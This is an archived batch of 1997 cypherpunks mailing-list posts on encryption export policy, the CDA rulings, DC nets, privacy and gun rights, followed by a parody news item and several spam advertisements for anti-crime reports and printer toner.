Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.LNX.3.91.970628212839.98A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 28 Jun 1997, Paul Bradley wrote:

> however, banning ownership of guns for any felony is definitely not at 
> all reasonable.
> 

It beats being banned from possessing weapons for living in the U.K.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 06:41:59 +0800
To: cypherpunks@toad.com
Subject: Marc Andreessen on encryption and CDA
Message-ID: <v03007813afddcf2813fa@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Marc Andreessen from Netscape spoke at a National Press Club luncheon on
June 20. Attached is an excerpt from a transcript of his remarks.

-Declan

---

NATIONAL PRESS CLUB LUNCHEON
MARC ANDREESSEN, NETSCAPE
FRIDAY, JUNE 20, 1997

[...]

The goal here in all these markets should be open
access -- open access for any new competitor who wants
to offer content and services, who wants to offer
hardware and software, who wants to offer bandwidth
for the Net itself. And then open access should also
allow each consumer and business to choose and buy
from any set of vendors it wants.

Now, I am not suggesting anything radical -- no major
new laws or sweeping regulations, but simply that we
must ensure we have vigorous enforcement first of
existing antitrust laws and vigorous promotion of
normal healthy competitive markets in these areas --
network services, software and hardware, content and
consumer services. Once we have that, then we need to
make sure we just don't screw it up. For example --
just one example -- patently ridiculous limitations on
the ability of American companies to both produce and
use encryption software and hardware internationally.
Encryption technology now is freely available to
criminals and terrorists all around the world,
overseas, on the Web. You can buy it from NTT, you can
buy it from companies out of South Africa, England,
and many other countries. And we are really at this
point deluding ourselves with respect to our ability
to control this technology. The genie is clearly
already out of the bottle.

However, current regulations, current arms traffic
regulations that apply to this technology and the new
McCain-Kerry bill that just was introduced a couple of
days ago -- the real effect there is that they are
ceding the international data security market to
non-U.S. vendors. They are really stunting now the
development of the Net as a commercial medium, and
they are leaving American companies fundamentally
unprotected from economic espionage and terrorism
abroad. One final example, imposing censorship laws in
this new consumer content medium that are more
stringent and restrictive than those on newspaper and
television.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 1 Jul 1997 10:38:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: <3.0.2.32.19970630170619.0075ca98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:57 PM 6/25/97 -0700, Lucky Green <shamrock@netcom.com> wrote:
>Regarding DC nets:
>Modern tree structures only double the bandwidth requirement. DC nets are 
>practical today. I would encourage CP's to work on implementations.

How do you do that?  Arrange the XORs to do x0^x1, x2^x3....,
then (x0^x1)^(x2^x3)... etc., ending up with user 0 doing the last XOR,
and broadcasting or tree-casting the results?  It cuts down on bandwidth
for the average user, but does end up with a few users doing most of the work,
and perhaps there's some security risk in the unbalanced workload.
It's an interesting approach, and I suppose you could do a bit more work
(logn instead of 2) to spread the partial results around so more people
can calculate them directly (e.g. user 0 sends user 2 x0^x1, and sends 
user 1 x2^x3, and if you're still paranoid you can have user 0 also send
user 3 x0^x1, which user 2 and user 3 can compare....)

You've probably got to put more thought into getting the details right,
like collision detection and backoff, but it's still doable.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 1 Jul 1997 09:54:23 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <Pine.3.89.9706301850.A28965-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



The idea is that the criminal has received their punishment once released 
from prison. Any further infringements on the person's rights are
unacceptable. That includes the person's Natural Right to acquire 
fully-automatic weapons, should he so desire. [BTW, the nature of the crime 
committed is irrelevant].


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 30 Jun 1997, Rabid Wombat wrote:

> 
> 
> On Sat, 28 Jun 1997, Paul Bradley wrote:
> 
> > however, banning ownership of guns for any felony is definitely not at 
> > all reasonable.
> > 
> 
> It beats being banned from possessing weapons for living in the U.K.
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dick Liquor <dl@swallow.cum>
Date: Tue, 1 Jul 1997 09:57:11 +0800
To: cypherpunks@toad.com
Subject: Dorothy and Not-Toto Do D.C.
Message-ID: <33B8591F.373D@swallow.cum>
MIME-Version: 1.0
Content-Type: text/plain



[Routers--July 1, 1997]

CHEMICAL SPILL BY THE RIVER, U.S.A.:
  PRESIDENT Clinton, commenting on the British retreat from Hong Kong,
told reporters, "The Chinese are a nuclear power, so the British had
to 'put on a happy(~diplomatic) face' as the Chinese troops rolled in,
no matter what the Chinese did at Kent State, Waco and Ruby Ridge."
  When his 'faux pas' was pointed out, Clinton laughed it off by saying,
"Well, you know how it is...you kill a dissident and, an hour later,
you want to kill again."

  A reporter who recently spent the night in the Lincoln bedroom saved
the President further embarassment by changing the subject to the recent
telivised debate on encryption between Dorothy Denning and Tim C. May,
a grouchy old cypherpunk.
  Clinton seized the opportunity to play to the law and order crowd,
responding, "That crazy bastard bit her fucking ear off! This kind of
disgusting incident is exactly what our encryption policy is designed
to address."
  When pressed to explain his statement, the President stated that if
Mr. May had not been exposed to ear-biting pornography spread across the
Internet with strong encryption, that children would not now be exposed
to it in the televised news coverage of the May-Denning incident."

  When reporters asked about the Paula Jones incident, President Clinton
replied, "I think she has me confused with Mike Tyson."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 1 Jul 1997 10:55:19 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19691231160000.006d0374@best.com>
MIME-Version: 1.0
Content-Type: text/plain



My biggest problem is when the pundits (and by extension, those that punt
to them)
frame this entire debate in terms of the Market.  To do so is to argue that
only solutions
that are good for The Market are good solutions; that when a particular
policy is market-agnostic
or market-negative, even though it may be good policy for People (yes,
remember them ???) it is irrelevant or
bad.  This debate is NOT about the Worldwide Encryption Market!


At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote:
>
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
>-Declan
>
>---
>
>NATIONAL PRESS CLUB LUNCHEON
>MARC ANDREESSEN, NETSCAPE
>FRIDAY, JUNE 20, 1997
>
>[...]
>
>The goal here in all these markets should be open
>access -- open access for any new competitor who wants
>to offer content and services, who wants to offer
>hardware and software, who wants to offer bandwidth
>for the Net itself. And then open access should also
>allow each consumer and business to choose and buy
>from any set of vendors it wants.
>
>Now, I am not suggesting anything radical -- no major
>new laws or sweeping regulations, but simply that we
>must ensure we have vigorous enforcement first of
>existing antitrust laws and vigorous promotion of
>normal healthy competitive markets in these areas --
>network services, software and hardware, content and
>consumer services. Once we have that, then we need to
>make sure we just don't screw it up. For example --
>just one example -- patently ridiculous limitations on
>the ability of American companies to both produce and
>use encryption software and hardware internationally.
>Encryption technology now is freely available to
>criminals and terrorists all around the world,
>overseas, on the Web. You can buy it from NTT, you can
>buy it from companies out of South Africa, England,
>and many other countries. And we are really at this
>point deluding ourselves with respect to our ability
>to control this technology. The genie is clearly
>already out of the bottle.
>
>However, current regulations, current arms traffic
>regulations that apply to this technology and the new
>McCain-Kerry bill that just was introduced a couple of
>days ago -- the real effect there is that they are
>ceding the international data security market to
>non-U.S. vendors. They are really stunting now the
>development of the Net as a commercial medium, and
>they are leaving American companies fundamentally
>unprotected from economic espionage and terrorism
>abroad. One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.
>
>[...]
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 11:25:34 +0800
To: geeman@best.com
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <3.0.32.19691231160000.006d0374@best.com>
Message-ID: <Pine.GSO.3.95.970630195816.4992H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Ah, but what is a market except voluntary transactions between people?
What is good for the market is good for the people.

-Declan

On Mon, 30 Jun 1997 geeman@best.com wrote:

> My biggest problem is when the pundits (and by extension, those that punt
> to them)
> frame this entire debate in terms of the Market.  To do so is to argue that
> only solutions
> that are good for The Market are good solutions; that when a particular
> policy is market-agnostic
> or market-negative, even though it may be good policy for People (yes,
> remember them ???) it is irrelevant or
> bad.  This debate is NOT about the Worldwide Encryption Market!
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 08:35:54 +0800
To: cypherpunks@toad.com
Subject: Supreme Court summarily affirms Shea v. Reno CDA case
Message-ID: <v03007801afddf836bce9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Dealing the final blow to the Communications Decency
Act, the Supreme Court last Friday again ruled the law
was unconstitutional.

In a one-line order, the justices summarily affirmed
the ruling of a New York federal district court that
struck down the law last July. Joe Shea filed the
lawsuit in February 1996 on behalf of his online
publication, the American Reporter.

Since the court did not write an opinion, however, the
Shea v. Reno case does not have the same hefty
precedential value as the ACLU v. Reno lawsuit brought
by the American Civil Liberties Union and American
Library Association plaintiffs.

"Since in practice ACLU v. Reno is the law of the
land, that preempts any binding force that Shea v.
Reno might have," says UCLA law professor Eugene
Volokh. Shea challenged only part of the CDA and
didn't win as broad a victory at the trial court
level as the ACLU and ALA coalitions did.

Still, Shea is celebrating. "What it really means to
me is that other countries aren't going to get the
support they hoped for when they start or continue to
suppress the Internet," he says. "The Net is going to
be an important vehicle for new democracies around the
world. People are going to voice on the Internet what
they can't voice on radio or TV. Governments are going
to find it harder to regulate because the U.S. Supreme
Court stood behind the First Amendment in both of
these cases."

Shea filed the case with the pro bono help of
Arent Fox, Kintner Plotkin & Kahn, a Washington law
firm.

Shea recently signed a partnership with nando.net, which
now will publish the American Reporter online. It'll go
live in July at http://american-reporter.com

-Declan

More info:

 http://www.eff.org/pub/Legal/Cases/Am_Reporter_v_DoJ/

 http://www.newshare.com/Reporter/3097/3097-6.html

 http://www.newshare.com/Reporter/3097/3097-8.html



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 09:05:24 +0800
To: cypherpunks@toad.com
Subject: Has your privacy been invaded? Protected? Both?
Message-ID: <v0300780bafde012ed89e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



We hear a lot of steamy rhetoric about privacy and the information age, but
few real-world examples. I'm working on a story now for Time about just
this: what's happening to individual privacy today.

Does the Net make us more exposed -- DejaNews and 411-type databases -- or
does it provide us with more privacy through tools like anonymous remailers
and pseudonymous identities? Can we trust the government to protect our
privacy when it works tirelessly to invade it?

Much has been written about this. What I'm looking for now are examples.
Have you used an anonymous remailer to cloak your identity, or been flamed
through one? Have you been denied a transaction at a store because you
refused to identify yourself? Have you hunted through databases to find
someone important? Has sensitive information about you turned up in one?

I'd appreciate hearing some stories...

Thanks all,

Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 12:34:54 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Hate Minute
In-Reply-To: <v03007800afdd85e782c6@[207.94.249.169]>
Message-ID: <v03007804afde2fb480be@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 AM -0700 6/30/97, Tim May wrote:
>At 9:57 AM -0700 6/30/97, Bill Frantz wrote:
>
>>To get elected in America, you have to give the voters someone to hate.
>>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>>pornographers (and tobacco companies).  Hate is just so much better as a
>>motivating force than good government (whatever "good" is).
>
>Yes, why don't we just finish the process and institute the "Hate Minute"?

Actually the story that comes to my mind is by the TV personality Steve
Allen, and if I remember correctly called, "The Hating".  The then accepted
form of capitol punishment is to tie the perp to a stake in the middle of
Yankee Stadium.  A cheerleader gets the assembled crowd to hate - Hate -
HATE, and their psychic energy burns the perp thru telekinesis.  Quite a
chilling short story.  (Also quite old.  Telekinesis was then still
considered hard science fiction.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 12:39:32 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <v03007813afddcf2813fa@[168.161.105.191]>
Message-ID: <v03007805afde33435765@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:02 PM -0700 6/30/97, Declan McCullagh wrote:
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
> ... One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.

At least we can point to the Supreme Court CDA decision which called the
net a medium worthy of the highest level of First Amendment protection.
(Putting on my optimist hat.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 1 Jul 1997 09:46:25 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970701011350.006a641c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry 'bout that .txt typo for the SAFE report; it's HTM:

   http://jya.com/hr105-108.htm  (94K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 1 Jul 1997 09:46:31 +0800
To: cypherpunks@toad.com
Subject: Denning Paper
Message-ID: <1.5.4.32.19970701012342.006b2d44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Forward:

Professor Dorothy Denning's paper, "Encryption and Evolving Technologies as 
Tools of Organized Crime and Terrorism," will be available in early July. 

Should you wish to purchase a copy please send a check or money order for 
$10.00 (includes shipping and handling) payable to the National Strategy 
Information Center, at the following address: 1730 Rhode Island Ave. NW, 
Suite 500, Washington, DC 20036. We will be happy to send you a copy once
we receive your payment. 

Should you have any further questions please feel free to contact me.

Sincerely,
Marcia McGowan
Working Group on Organized Crime
National Strategy Information Center
 
----------------------------------------------------------------------------

Excerpt of the paper at:

  http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 13:31:43 +0800
To: alano@teleport.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <86772952415649@cs26.cs.auckland.ac.nz>
Message-ID: <v03007808afde3e5ff547@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:58 AM -0700 7/1/97, Peter Gutmann wrote:
>>Copyright laws will do nothing to prevent the text from being distributed.
>>All copyright laws will do is make you able to punish "offenders" after
>>the fact.  They have no mystical value to "protect" anything, especially
>>digital medium, which is easy to copy.
>
>What makes this case especially awkward is the fact that the CDROM can't
>legally be sold outside the US, which means the only way the rest of the
>world
>can get it is through illegal copies.  Given the immense usefulness of
>something like this, I'd say it's only a matter of time before bootleg copies
>start appearing outside the US, but because of the USG's position we can't
>pay
>for it even if we want to (DDJ wouldn't look too good if they accepted
>payment
>for what they knew was illegally exported crypto).  Perhaps a donation of the
>same amount to charity would serve as some equivalent to payment...

It might also be a nice gesture if the parts of the CDROM available outside
the US were not posted.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 17 Aug 1997 13:13:21 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <3.0.1.32.19970616231344.006959d8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>From: Brent Heustess <heustess@mail.utexas.edu>
>
>   This is a really spooky web site <http://www.publiclink.com>.  You can
>search 17 million Texas drivers by name, driver's license number or
>license plate number.  When you find a person, you can then find everyone
>at that address with a license.  You can even find everyone with the same
>9-digit zip code.  The record does not have a GIF of the photo, but it
>has everything else on the license.

Those who tell the government the actual address where they sleep at night
have no expectation of privacy.  Most governments don't care if you
substitute an accomodation address.  If you find a government that does
care, shop around until you find another that doesn't.  I've been turned
down exactly once in my career when I attempted to use an accomodation
address for DMV purposes.  I went elsewhere.

DCF
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Tue, 10 Jun 1997 15:18:28 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: A Design for Life
Message-ID: <199706100850.JAA31487@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week the award-winning Shift Control presents...

The Design Issue

David Carson, former surfing pro turned international advertising 
consultant, is one of the most influential and instantly recognisable 
graphic designers of his generation. Edo van Duyn talks to him in a 
Shift Control exclusive.

The Royal College of Art's Industrial Design Engineering course has 
over the years moulded some of Britain's greatest creative talents - 
including the inventor of the Dual Cyclone vacuum, James Dyson. Shift 
Control talks to some of this year's graduates to discover the gadgets 
and gizmos of tomorrow.

And Andrew Byrom presents a guide to contemporary typography - the 
ubiquitous, ephemeral and disposable art form that's defining design 
in the Nineties.

Also this week, Shift Control launches the Design Gallery - a brand 
new section featuring the some of the best examples of British art 
and design.

Plus: Shift Control announces the creation of the world's first bionic 
bee, and you have another chance to win £200 in our short story 
competition.

All this plus the usual selection of rants, reckoners, reviews and 
revelations, waiting for you NOW at www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crime@tarsey.com
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
To: You@Public.Com
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
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Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 40748258@tarsey.com
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
To: Friend@public.com
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53365743@prodigy.com
Date: Thu, 12 Jun 1997 04:06:16 -0700 (PDT)
To: 8973823yhbvdmnhsc899@compuserve.com
Subject: toner
Message-ID: <612357fdsd623f73642gejgsh6e2897>
MIME-Version: 1.0
Content-Type: text/plain







(For all your Printer/Fax/Copier Supplies)

BENCHMARK PRINT SUPPLY
5579-B Chamblee Dunwoody Rd  #371
Atlanta GA 30338
(770)512-0083

PLEASE FORWARD TO YOUR OFFICE SUPPLY MANAGER

As of 4/1/97 our new, laser printer cartridge, prices are as follows:

HEWLETT PACKARD

Series 2,3=$59   
Series 2P=$54 (After $10 Rebate)
Series 4,4M,4 Plus =$79
Series 3SI/4SI=$85
Series 4L=$54 (After $10 Rebate)
Series 5L=$50 (After $10 Rebate)
Series 5P=$79  (After $10 Rebate)
Series 4V=$100 (After $10 Rebate)
Series 5SI= $135 (After $25 Rebate)
Fax  FX1/FX2=$59 (After $10 Rebate)
Deskjet/Inkjet= Please call for $$.

IBM/LEXMARK:  

Optra 4019/4029/4039=$125

EPSON: 

Models  7000/1500=$100 (After $15 Rebate)

CANON FAX/PC'S:   

700,770,5000,7000=$59 (After $10 Rebate)
PC Copier 6re/7/11=$69 (After $10 Rebate)
PC Copier 320=$79 (After $10 Rebate)


FOR OTHER PRINTER/FAX/COPIER SUPPLIES NOT LISTED ABOVE PLEASE CALL.

- All major credit cards accepted. 
- Corporate term accounts available with approved credit.
- Our office hours are 10-6 E.S.T.
- Sorry but e-mail orders or inquiries are not accepted at this time


TO BE REMOVED FROM OUR LIST CLICK ON BLUE BELOW
AND IN THE HEADER TYPE "REMOVE".

click here 

mailto:capital@answerme.com





